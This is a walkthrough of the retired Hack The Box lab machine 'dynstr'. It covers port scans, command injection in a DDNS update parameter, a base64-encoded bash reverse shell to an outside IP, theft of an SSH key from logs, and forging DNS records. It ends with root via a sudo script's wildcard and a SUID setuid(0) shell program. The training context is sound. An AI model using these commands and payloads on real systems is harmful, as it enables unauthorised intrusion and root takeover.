This post documents the complete walkthrough of dynstr, a retired vulnerable VM created by jkr, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

dynstr is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.244 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-06-12 19:23:29 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 53/udp on 10.10.10.244
Discovered open port 22/tcp on 10.10.10.244
Discovered open port 80/tcp on 10.10.10.244
Discovered open port 53/tcp on 10.10.10.244

Well looks like your usual open ports for Linux except for 53/udp. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,53,80 -A --reason 10.10.10.244 -oN nmap.txt
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
|   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_  256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open  domain  syn-ack ttl 63 ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS

Well, at least we know that it’s an Ubuntu. This is what the site looks like.

We are told that dyna.htb follows no-ip.com API for maintaining conformance and there’s a set of credentials (dynadns:sndanyd).

No-IP DDNS API for Update Protocol

No-IP DDNS API for the update protocol is surprisingly simple. The idea is to provide a mechanism to update the IP address for a particular host.domain registered.

This is the request parameter list.

And this is the response list.

Command Injection Vulnerability

See what happens what an unsanitized input is introduced in the hostname parameter.

I smell a subshell command injection vulnerability here!

Foothold

Armed with this insight, it should be trivial to get a reverse shell like so.

echo 'bash -i >& /dev/tcp/10.10.16.125/1234 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMjUvMTIzNCAwPiYxCg==

Embed the above base64-encoded string into a subshell and we should be good to go.

On my netcat listener, a shell appears…

From www-data to bindmgr

I was pleasantly surprised that I was able to access bindmgr’s .ssh directory.

On top of that, I was able to read authorized_keys!

Unfortunately, I have to side-step the forward/reverse DNS resolution of *.infra.dyna.htb and to find a readable copy of id_rsa, the SSH private key of bindmgr. Well, fret not for there are debugging and strace logs lying around.

What do we have here? Looks like we have the SSH private :key:!

Update BIND Records

Since we have the TSIG authentication key /etc/bind/infra.key and nsupdate available to us, let’s go ahead and add the A record for pwn.infra.dyna.htb pointing to my IP address and the PTR record for my IP address pointing to pwn.infra.dyna.htb, shall we?

Let’s verify the records have been added.

With that I should be able to log in as bindmgr via SSH.

Privilege Escalation

During enumeration of bindmgr’s account, I notice that bindmgr is able to sudo the following.

/usr/local/bin/bindmgr.sh
#!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#       named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
#       not deleting them. As we generate the list of files to be included
#       from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
    echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
    named-checkconf $BINDMGR_CONF 2>&1 | indent
    exit 44
else
    echo "[+] Configuration successfully staged."
    # *** TODO *** Uncomment restart once we are live.
    # systemctl restart bind9
    if [[ $? -ne 0 ]] ; then
        echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
        systemctl status bind9
    else
        echo "[+] Restart of bind9 via systemctl succeeded."
    fi
fi

This script is easy to exploit. As long as the current directory you are working on has a file .version and its value is larger than the one in $BINDMDR_DIR, you are good to go. The script bindmgr.sh will copy all the files in $PWD to $BINDMGR_DIR.

This is interesting. Did you notice that test is written to $BINDMGR_DIR as root:bind? I wonder what will happen to a SUID file after the copy? But in order to preserve just the SUID bit we need a command switch like --preserve=mode. Good thing for us the script had a wildcard after .version—we can touch a file --preserve=mode and let bash do the rest of the globbing.

touch -- '--preserve=mode'

This is what /tmp/pwn looks like.

If everything goes well, we should see a SUID test in $BINDMGR_DIR as well.

Awesome. Time to replace test with a SUID copy of something sinister. :imp:

pwn.c
#include <stdlib.h>
#include <unistd.h>

void main() {
    setuid(0);
    system("/bin/bash");
}

I’ll leave it as an exercise how to compile and transfer it to the remote machine. This is what /tmp/pwn looks like now.

Here we go.

Getting root.txt is trivial with a root shell.

:dancer: